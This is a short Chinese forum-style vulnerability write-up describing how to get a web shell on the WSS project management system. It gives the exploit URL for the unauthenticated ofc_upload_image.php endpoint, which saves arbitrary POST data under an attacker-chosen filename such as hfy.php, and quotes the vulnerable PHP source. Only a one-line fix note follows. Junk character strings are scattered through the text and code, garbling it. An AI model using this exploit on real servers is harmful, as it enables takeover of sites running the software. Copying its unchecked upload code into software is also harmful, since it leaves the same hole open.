WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
) q% Y- }; N9 u
1 D+ S' a3 V. [, r# G- ]利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
; j" A; o9 q: x8 }

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

6 V/ ~7 g2 Q  ]. d<?php
" M0 {1 }# V! h. Y9 _0 X
//
// In Open Flash Chart -> save_image debug mode, you
- X+ _9 G+ g9 r- k4 e+ n// will see the 'echo' text in a new window.
8 L" v9 n/ |& U) N9 A//

/*
( n  V$ z+ k# @$ n- r+ {
& w* `# L5 N6 p' e+ aprint_r( $_GET );
8 g9 C4 n  P! \9 |. \3 R! P8 tprint_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
4 D7 F) S! S5 k( E5 p5 v+ ~8 yprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

/ h' E5 h! R4 \6 k( F* @*/
// default path for the image to be stored //
# e3 D5 j# G5 {$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 |0 q! Q6 E, Z; S! L. \+ ?
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
! O) O2 \1 y( K8 z! {
echo 'Saving your image to: '. $destination;
# e5 g) s$ y3 S$ b9 N// print_r( $_POST );
6 {4 K/ J9 m' l" y// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
: [7 j9 j, j" k+ i2 B. e% Q  g
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
' v: w) S9 R' X9 x9 B2 x' H, o//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
- c8 q' @& l0 [5 H# X/ e& s// LOOK:
//
exit();
//
// PHP5:
//
0 |) E2 d3 B" c. T. Q1 ]6 y
# B# E8 k; h/ E% S4 E9 j# j
// default path for the image to be stored //
5 b! G! L3 C. S  l- L8 V$ G$default_path = 'tmp-upload-images/';

  T/ b* X' b" S& F2 a3 Z2 Gif (!file_exists($default_path)) mkdir($default_path, 0777, true);

  @# o- v- x! Q1 P// full path to the saved image including filename //
$ m, i% V* O* e  c, i, [. v$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

! B! j9 w3 n# V! [. b( h/ n2 a// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
! h; n0 O2 ?% R: H4 [& L# r" J* e} else {
    echo "FILE UPLOAD FAILED";
}
. g; Q; Y5 Y! j3 i, P- ]- b+ ~
) j9 w; e/ z9 w. A5 T/ s6 ?
?>
; H& v* v" e$ \2 k


  }- ?: `* I( V6 b, O

4 [" a7 [1 J  J% I/ y$ z
修复方案：
5 j$ z8 v/ f# B* \% ?& o这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
& c. w2 t1 ^6 w- E" ^- b) o' V2 H


' |. {8 u9 x$ r) a( S/ L/ ?